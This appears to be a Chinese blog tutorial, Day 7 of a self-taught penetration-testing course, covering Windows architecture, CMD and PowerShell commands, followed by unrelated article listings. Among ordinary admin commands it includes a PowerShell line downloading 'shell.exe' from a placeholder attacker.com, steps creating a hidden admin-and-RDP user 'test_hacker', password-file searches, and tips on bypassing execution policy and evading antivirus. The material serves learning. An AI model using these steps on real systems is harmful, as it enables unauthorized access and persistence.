自学渗透测试第七天(Windows基础与cmd命令)

VC雕虫小技集(三)   VC雕虫小技集(三)何志丹1,固定窗口大小,最大值为(600,400),最小值也为(600,400).void CMainFrame::OnGetMinMaxInfo(MINMAXINFO FAR* lpMMI) {    lpMMI->ptMaxTrackSize.x = 600;       lpMMI->ptMaxTrackSize.y = 400;    阅读详情

第3章 Windows基础与法律合规(第7–8天)

3.1 Windows基础与CMD命令(第7天)

核心目标
  1. 掌握Windows系统架构:理解Windows文件系统、注册表、用户与权限体系、服务与进程等核心概念。

  2. 精通Windows命令行:熟练使用CMD和PowerShell进行系统管理、信息收集、配置审计和基本攻击操作。

  3. 建立跨平台思维:能够对比Linux与Windows在渗透测试中的异同,为内网横向移动和权限提升打下基础。

模块一:Windows系统基础与架构
1.1 Windows文件系统与路径
  • 文件系统类型:NTFS(主流,支持权限、加密、压缩)、FAT32、exFAT。

  • 目录结构:

      • C:\Windows:系统文件。

      • C:\Program Files& C:\Program Files (x86):64位和32位程序。

      • C:\Users或 C:\Documents and Settings(旧版):用户配置文件。

      • C:\Windows\System32:关键系统可执行文件。

  • 特殊文件夹:

  • %SYSTEMROOT%和 %WINDIR%:指向Windows目录。

  • %USERPROFILE%:当前用户目录。

  • %APPDATA%:应用程序数据。

  • %TEMP%和 %TMP%:临时文件。

1.2 用户、组与权限
  • 用户类型:管理员(Administrator)、标准用户、Guest(访客)。

  • 内置组:Administrators、Users、Guests、Backup Operators(备份控制组)、Remote Desktop Users(远程控制组)。

  • 权限模型:NTFS权限(读、写、修改、完全控制等)和共享权限。

  • 查看当前用户:whoami、net user、net localgroup administrators。

1.3 注册表
  • Windows配置数据库:包含系统、程序、用户的所有设置。

  • 五大根键:

    • HKEY_CLASSES_ROOT (HKCR):文件关联和COM对象。

    • HKEY_CURRENT_USER (HKCU):当前用户设置。

    • HKEY_LOCAL_MACHINE (HKLM):本地计算机设置(关键)。

    • HKEY_USERS (HKU):所有用户配置。

    • HKEY_CURRENT_CONFIG (HKCC):当前硬件配置。

  • 渗透测试关联:自启动项、服务、密码哈希、系统信息等常驻留在注册表中。

1.4 服务与进程
  • 服务:后台运行的程序,可通过services.msc或sc命令管理。

  • 进程:运行中的程序实例。tasklist查看,taskkill终止。

模块二:CMD(命令提示符)核心命令
2.1 系统信息与用户管理
  • 系统信息:

    systeminfo                    # 详细系统信息(OS版本、补丁、网卡等)
    hostname                     # 计算机名
    ver                          # Windows版本
  • 用户与组管理:

    whoami                       # 当前用户
    whoami /priv                 # 当前用户权限
    whoami /groups               # 当前用户所属组
    net user                     # 列出所有用户
    net user [用户名]            # 查看指定用户信息
    net localgroup administrators # 查看管理员组成员
    net user [用户名] [密码] /add  # 创建用户
    net localgroup administrators [用户名] /add  # 添加用户到管理员组
2.2 网络配置与诊断
  • 网络配置:

    ipconfig /all                # 查看所有网络适配器详细信息(IP、MAC、DNS)
    ipconfig /release            # 释放IP
    ipconfig /renew              # 续约IP
  • 网络诊断:

    ping -n 4 8.8.8.8           # 发送4个ICMP包
    tracert 8.8.8.8              # 路由追踪
    nslookup google.com          # DNS查询
    netstat -ano                 # 查看所有连接和监听端口(-a所有,-n数字,-o PID)
2.3 文件与目录操作
  • 浏览与操作:

    dir                          # 列出目录内容
    dir /a                       # 显示所有文件(包括隐藏)
    cd [路径]                    # 切换目录
    cd /d D:\                   # 切换驱动器
    tree /f                      # 树形显示目录结构
  • 文件操作:

    type file.txt                # 查看文件内容(类似cat)
    copy src.txt dst.txt         # 复制
    move src.txt dst.txt         # 移动/重命名
    del file.txt                 # 删除文件
    rd /s /q directory           # 强制删除目录
    注:#/s:递归删除,删除指定文件夹及其下的所有的文件
        #/q:安静模式:删除的时候不提示是否确认,直接执行
    attrib +h +s file.txt        # 添加隐藏和系统属性
    注:#+h:隐藏属性:文件在资源管理器中默认不可见
        #+s:系统属性:标记为系统文件,普通用户执行受到限制。
2.4 进程与服务管理
  • 进程:

    tasklist                     # 列出所有进程
    tasklist /svc                # 列出进程及关联服务
    taskkill /PID 1234 /F        # 强制结束PID为1234的进程
    taskkill /IM notepad.exe /F  # 强制结束指定映像名的进程
    注#/F:强制结束,即使进程在运行中不响应,也强制停止。(若没有该参数,系统可能会弹出确认或某个程序无法结束。
  • 服务:

    sc query                     # 列出所有服务
    sc query [服务名]            # 查询特定服务状态
    sc start [服务名]            # 启动服务
    sc stop [服务名]             # 停止服务
    sc config [服务名] start= auto  # 设置服务为自动启动
2.5 注册表操作
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run  # 查询自启动项
reg add [键路径] /v [值名] /t [类型] /d [数据]  # 添加/修改注册表
reg delete [键路径] /f                          # 删除注册表项
模块三:PowerShell基础与渗透测试优势
3.1 PowerShell简介
  • 更强大的脚本环境:面向对象,与.NET Framework深度集成,是Windows渗透测试的首选。

  • 执行策略:控制脚本运行权限。Get-ExecutionPolicy查看,Set-ExecutionPolicy Bypass绕过(需管理员)。

  • 基本命令(Cmdlet):动词-名词格式,如Get-Process、Stop-Service。

3.2 常用渗透测试相关Cmdlet
Get-WmiObject -Class Win32_OperatingSystem  # 获取系统信息
Get-LocalUser                               # 获取本地用户
Get-NetIPAddress                            # 获取IP配置
Get-Process | Where-Object {$_.ProcessName -eq "chrome"}
Stop-Process -Name notepad -Force
Get-Service | Where-Object {$_.Status -eq "Running"}
Invoke-WebRequest -Uri "http://attacker.com/shell.exe" -OutFile "C:\temp\shell.exe"  # 下载文件
模块四:当日达标实战任务
4.1 系统信息收集
  1. 完整系统画像:在一台Windows主机上,使用CMD命令收集以下信息:主机名、操作系统版本、已安装补丁、系统启动时间、网络配置(IP、MAC、网关、DNS)、当前登录用户及其权限、所有本地用户列表、管理员组成员列表。将命令和结果整理成报告。

#查看主机名
hostname
#收集操作系统版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
#已安装补丁
wmic qfe list brief /format:table
#系统启动时间
systeminfo | findstr /C:"system Boot Time"
#网络配置
ipconfig /all
#当前用户登陆及权限
whoami
 whoami /groups
 #所有本地用户的列表
 net user
 #管理员组成员列表
 net localgroups administrators
  1. 进程与服务分析:使用tasklist /svc找出所有由svchost.exe承载的服务。使用netstat -ano找出所有ESTABLISHED状态的TCP连接,并关联到具体的进程名。

    tasklist /svc | findstr svchost.exe
4.2 文件系统与注册表探索
  1. 敏感文件搜索:使用dir /s /b C:\*.config、dir /s /b C:\*pass*.txt等命令,在C盘搜索可能包含配置和密码的文件。

    netstat -ano | findstr ESTABLISHED
    注:#netstat -ano :显示tcp连接状态、IP、端口及PID
        #findstr ESTABLISHED:只显示连接状态
    tasklist /FI "PID eq <pid>"、
    注:#将上一步抓取到的PID替换<pid
    dir /s /b C:\*.config dir /s /b C:\*pass*.txt 注
    #dir:列出目录内容 /s:递归子目录 /b:简洁路径输出,只显示完整文件目录
  2. 注册表键值查询:查询注册表中的常见自启动位置:HKLM\Software\Microsoft\Windows\CurrentVersion\Run和 HKCU\Software\Microsoft\Windows\CurrentVersion\Run。记录发现的启动项。 reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 注:#reg query:查询注册表 HKLM :本地计算机去全局自启动 HKCU:当前用户自启动

4.3 权限与用户操作
  1. 用户创建与提权:在拥有管理员权限的CMD中,尝试创建一个新用户test_hacker,并将其添加到Administrators组和Remote Desktop Users组。

    net user test_hacker 123456 /add
    net localgroup administrators test_hacker /add
    net localgroup "Remote desktop users" test_hacker /add
  2. 密码策略查看:运行net accounts命令,查看系统的密码策略(长度、有效期、锁定阈值等)。

    net accounts
4.4 简单批处理脚本
  1. 编写一个批处理脚本(.bat),实现以下功能:显示欢迎信息、显示当前日期时间、列出C盘根目录、暂停等待用户按键后结束。

    @echo off
    echo 欢迎使用系统信息查看工具
    echo 当前日期和时间: %date% %time%
    echo C盘根目录列表:
    dir C:\
    pause
    #运行该脚本的方法:
    C:\temp\example.bat
模块五:常见问题与解决方案
5.1 权限问题
  • “请求的操作需要提升”:需要以管理员身份运行CMD。右键点击“命令提示符”,选择“以管理员身份运行”。

  • 无法创建用户或修改组:当前用户权限不足,或用户账户控制(UAC)被触发。需在管理员权限下并可能需确认UAC弹窗。

5.2 命令语法与差异
  • del和rmdir与Linux的rm和rmdir区别:Windows的del用于文件,rmdir(或rd)用于目录,且默认不递归删除非空目录,需加/s参数。

  • 路径分隔符:Windows使用反斜杠\,但在命令行中也常接受正斜杠/。但在涉及转义时需注意。

5.3 安全特性绕过
  • PowerShell执行策略限制:可通过-ExecutionPolicy Bypass参数运行单条命令或脚本,或使用Set-ExecutionPolicy修改策略(需管理员)。

  • 防病毒软件拦截:某些敏感命令(如添加用户、下载执行)可能被AV拦截。在测试环境中可暂时禁用AV,或研究混淆、编码技术。


明日预告:第8天将聚焦网络安全法、伦理规范与工具链联动,这是每位安全从业者必须遵守的底线和必须掌握的协同作战能力。我们将系统学习法律红线、道德准则,并实践如何将已学的Linux、Windows、网络、抓包工具串联起来,完成一个微型但完整的渗透测试工作流。

————————————————————————————————————————

免责声明
本技术分享内容仅供学习和交流目的,不构成任何形式的专业建议或承诺。

分享者不对因使用或参考本内容而导致的任何直接或间接损失或损害承担责任。

网络安全技术涉及潜在风险,请在合法授权范围内谨慎操作,遵守相关法律法规。

读者应自行评估技术适用性,并在实际环境中采取必要的安全措施。

版权声明
未经许可,不得擅自修改、转载或用于商业用途。

ABAP Development Tool for Visual Studio Code 里使用 MCP server 本文讨论了SAP ABAP开发环境中,除GitHub Copilot外,其他可作为MCP客户端接入ABAP开发工具(MCP server)的编码代理(coding agent)。GitHub Copilot是官方确认可用的工具,而其他代理如Claude Code、Cursor、Windsurf Cascade、Cline和Continue虽然理论上支持MCP协议,但要实际用于ABAP开发还需满足两个关键条件:兼容MCP协议,并能处理VS Code虚拟工作区文件系统。这些工具需要单独验证是否支持ABAP开发工 阅读详情

相关推荐

SAP Ariba Procurement_Catalogs

SAP Ariba Procurement_Catalogs Search Functionality PunchOut Catalogs Spot Buy catalog

CZxx1的博客 1001

【RHCA+】yum命令(查询、安装、升级和卸载软件包)

root@wuzuniao ~]# yum install --downloadonly --downloaddir=/root httpd #只下载httpd相关软件包,并保存到/root目录;[root@wuzuniao ~]# ll /var/cache/yum/x86_64/7Server/wuzuniao/packages/ #查看对应目录下所有软件包,可以看到squid及其依赖已经被下载。[root@wuzuniao ~]# yum list #查询所有已安装和可安装的软件包。

407

windows系统下,如何为comfyui如何安装triton

​ 有些加速插件、模型在安装的时候,比如说sageattention的安装,就需要提前安装triton这个包,不过这个包有点特殊,windows下略微不好装,经常会装失败。 🎠如何安装 之前也有人介绍过,要到github上找个wheel文件,找到对应的版本安装下就好了。 问题是:https://github.com/woct0rdho/triton-windows/releases 这个git地址上,已经找不到wheel文件了... ​

聚梦小课堂 4471

树状控件的应用(选择出阵武将)

           树状控件的应用                          何志丹下面是树状控件的一些应用,由于是由于用于演示,所以结构并不合理.其效果如图所示..步骤如下: 1,Insert -> new class,插入一个新类CMyCtrl,基类为CTreeCtrl. 2,利用类向导为CMyTree添加WM_PANIT的响应函数.代码如下:

闻缺陷则喜何志丹 3582

Camera Sensor接口协议全解析(六)聚焦onsemi HiSPi接口的技术突破与应用实践

摘要: Onsemi HiSPi是一种高速并行接口协议,专为高分辨率图像传感器设计,具备1600 Mbps传输速率、低功耗和高兼容性特点。通过对比DVP、MIPI CSI-2等主流协议,HiSPi在工业/医疗领域表现突出,支持动态功耗控制、多ROI和CRC校验。其创新架构包含多PHY设计,提供分组SP、流SP等多种工作模式,满足灵活传输需求。实际应用中,HiSPi在PCB缺陷检测(5μm精度)和液晶面板检测(0.3% Mura检出率)等场景展现卓越性能,成为高速成像领域的关键技术。

GateWorld的博客 1424

PX4实战指南:通过遥控器通道映射实现多舵机PWM精准控制

本文详细介绍了通过PX4飞控的AUX PWM接口实现遥控器通道映射控制多舵机的实战指南。内容包括硬件选型与连接、软件参数配置、通道映射方法以及常见问题排查,帮助开发者精准实现无人机舵机PWM控制,适用于云台、机械臂等扩展功能开发。

ee345的博客 298

第 12 篇 dma-mapping 的分层架构:从映射接口到 dma_map_ops

本文解析 DMA 映射调用的分发机制,揭示其从驱动接口到后端实现的三层结构:接口层统一参数形式,分发层依据 dev->dma_iommu、get_dma_ops() 及 dma_ops_bypass 等条件选择后端,后端则执行物理地址到 DMA 地址的转换。当前内核中,dma_map_ops 仅用于虚拟化或旧平台等特殊场景,IOMMU 路径已直接由标志控制,提升效率。分发依据在设备初始化阶段(如 IOMMU 探测、dma_set_mask())建立,确保映射时路径稳定。

图形/计算GPU的驱动与虚拟化技术分享园地 526

Android15 AndroidV冻结和解冻的场景

cgroup 最初由 Google 工程师 Paul Menage 和 Rohit Seth 在 2006 年提出,是一种细粒度资源控制的Linux内核机制。于 2007 年合并到 Linux 内核主线中。然而 Google 原生系统直到 Android 11 或更高版本上才支持 CACHE 应用的 CPU 冻结功能。当应用切换到后台并且没有其他活动时,系统会在一定时间内通过状态判断,将进程 ID 迁移到冻结的 cgroup 节点上,实现冻结 CACHE 应用。

苏法迪的专栏 1774

InheritableThreadLocal 实现下文工具类

本文使用 Spring Boot + Spring MVC + Servlet,重点讲清楚为什么需要上下文工具类、如何实现、如何编写拦截器、如何在请求结束后清理,以及异步线程池中的上下文传递问题。首先创建,用于存储当前登录用户的基本信息。为了让示例具有通用性,这里定义用户 ID、用户名和租户 ID 三个字段。/*** 当前登录用户上下文。* 该对象只保存用户的基本身份信息。* 实际项目可以根据业务需要增加其他字段。* 这里设计为不可变对象,降低多个线程共享对象时。

西凉的悲伤博客 182

零基础入门篇③ PyCharm使用指南(个性化设置、开发必备插件、常用快捷键)

Python从入门到精通👉零基础入门篇③

hacker707的博客 4362

从 Non-Unicode 到 Unicode:ABAP 程序切换的坑、原理与工程化落地指南

摘要 老SAP系统中ABAP程序员常假设1字符=1字节,导致大量代码依赖单字节处理逻辑。Unicode系统的引入彻底改变了字符长度、偏移量等底层认知,强制要求程序遵循Unicode规则。关键问题包括:字符/字节语义混淆、结构体访问风险、以及ABAP语言版本的门槛限制。迁移时需要重点关注字符串处理、二进制协议解析等场景,利用UCCHECK、RSUNISCAN_FINAL等工具扫描风险,并通过持续集成机制确保代码质量。建议在Non-Unicode阶段就启用unicode_check参数模拟严格模式,分批次修复问

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 3424

【Unity开发】List类型方法详解

本文整理了C#中List<T>常用方法,按功能分类:添加、插入、删除、查询、遍历、转换、排序及其它操作,涵盖Add、Remove、Find、Sort、ConvertAll等核心API,便于游戏开发中快速查阅与使用,提升编码效率。

为者常成,行者常至! 196

深度学习之目标检测--Pytorch实战

只需要能看懂python代码,就能最快入门深度学习---目标检测。目标检测简单的玩玩儿还行,模型调优,调参,还需要一定的数学功底。通过代码来实现卷积,池化,非线性激活,正则化,归一化,能让人减少对大量数学公式的敬畏,手写神经网络也是考研复试中上机考试的压轴题,掌握搭建神经网络和如何训练模型是需要掌握的基础的

需要远程指导仿真实验、代码有问题的,请后台私信或者关注公众号 1万+

第三章:10、评估与可观测性

本文构建了多维度、可量化的 Agent 评估体系,涵盖意图识别、工具调用、RAG 检索、事实准确性等 8 个核心指标。通过设计含明确标准答案的离线评测集(Golden Set)与自动化评测 Runner,实现并行化、可重复的离线评估。引入 LLM-as-a-Judge 进行语义评分,并设置幻觉专项检测机制(引用溯源+逆向验证),保障输出可靠性。最终集成至 CI 流水线,实现回归测试自动化,确保系统迭代中的稳定性与质量。

weixin_44583859的博客 296

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

py how claude work项目分析

这里调用工具的思想吧就是为了防止并发问题就是读的时候写的工具改就是这种情况,就是一开始先执行工具也就是ai输出的时候就执行工具但是只会执行为true的工具也就是只读的工具,然后输出完进入下方流程此流程是等待true的工具执行完再执行false的工具,这些true和false是存入字典里面的直接根据工具名称取就行。:API 层是「自动重试」,工具层是「错误回喂让模型自愈」,循环层是「别跑飞、别撑爆」,安全层是「危险动作先拦」,数据层是「太大就削、崩了能续」。修改类工具先压住,不启动。

2401_84390420的博客 129

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

SKILL 开发详解:给 182X Agent 写一个自定义技能

上一篇把 OpenClaw + ClawChips 跑通了:QQ 是入口,端云路由是调度,NPU 是本地算力。但框架只是壳,它具体能干什么活,取决于装了哪些 SKILL。ClawChips 内置了一系列基于 RK182X 模组运行的算法 SKILL——定时提醒、早安播报、图片识别、OCR 文字提取、多智能体巡检——不用写代码,在 QQ 机器人对话里说一句话就能触发。这篇把九个技能过一遍:每个是什么、怎么说、依赖什么。本章完整文档:《SKILL 使用手册》

ShiMetaPi的博客 378

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

C++:list

列表可以在任意位置进行插入和删除的操作,且支持双向迭代器双向列表可以将每个不同位置的元素存储在不同的地址空间,顺序由每个元素地址的前后进行排序。

2502_90184733的博客 172

C# 逆变与协变全解析:看懂泛型里的 `in` 和 `out`,接口与委托不再绕!

协变(out)允许将更具体的类型结果视为更通用类型,如 IEnumerable<Dog> 可转为 IEnumerable<Animal>;逆变(in)则允许能处理通用类型的接收者处理具体类型,如 IConsumer<Animal> 可转为 IConsumer<Dog>。二者在保证类型安全的前提下,使泛型接口与委托(如 Action<T>、Func<T, TResult>)支持灵活转换,理解它们有助于掌握 IEnumerable<T> 等常见泛型的设计逻辑。

2601_96519735的博客 741

企业级RAG问答系统(三)嵌入模型

之前两篇文章介绍了如何将各种文件转化为文本,本文讲解如何将文本转换为向量表示,支持 OpenAI 兼容API和本地模型两种嵌入方式,通过配置化方式切换。目录结构开发准备1.安装依赖在线嵌入模型(OpenAI兼容接口)tenacity 是 Python 里最常用的重试(retry)库,用来优雅地给函数加自动重试逻辑,替代自己手写 while+sleep 重试代码本地嵌入模型(可选)基类base.py:设置四个功能:1.对单条文本进行嵌入2.对若干条文本进行批处理嵌入。

长夜漫漫,无心睡眠 280

KafkaProducer 源码深度剖析:发送消息全链路

KafkaProducer 发送消息的设计核心是两线程解耦:业务线程只做追加,Sender 线程负责发送,中间靠 RecordAccumulator 这个线程安全的缓冲区衔接。Future 和 Callback 让业务线程既能拿到结果,又不用阻塞等待。理解了这条链路,再回头看性能调优就有了抓手:缓冲区大小影响 batch 形成、linger.ms 影响等待时机、batch.size 影响批次大小、delivery.timeout.ms 影响重试上限——每个参数都对应链路上的一个环节。

https://starzy1990.github.io/ 352

KVM 命令行虚拟机管理

基于 libvirt 的 virsh 工具管理KVM虚拟机,包含虚拟机生命周期、配置、快照、磁盘、创建虚拟机、网络存储、删除、开机自启。

2503_92430124的博客 525

C++ list讲解

C++ list代码讲解

2503_94479566的博客 268

python之lambda表达式与sort函数中的key用法

这篇文章主要介绍了python之lambda表达式与sort函数中的key用法,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教

2601_96797912的博客 60

python 列表操作方法详解

python 列表操作方法详解 一、总结 一句话总结: 列表增:b_list = ['a','b','c'

2601_96798011的博客 250

KVM 虚拟机管理:virt-manager 与 virsh 命令速查手册

四件工具分工清楚——

xbzb的博客 237

SOEM 扫出从站之后,工业现场还缺哪几层防护

本文基于 SOEM(Simple Open EtherCAT Master)从站初始化源码,结合 EtherCAT ETG.1000 规范与工业现场实战经验,对“逐站枚举与地址分配”过程进行了一次深度审计与加固思考

xklee的博客 230
上一篇: Linux相关操作命令
下一篇: 自学渗透测试第八天(网络安全法、伦理规范与工具链联动)
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值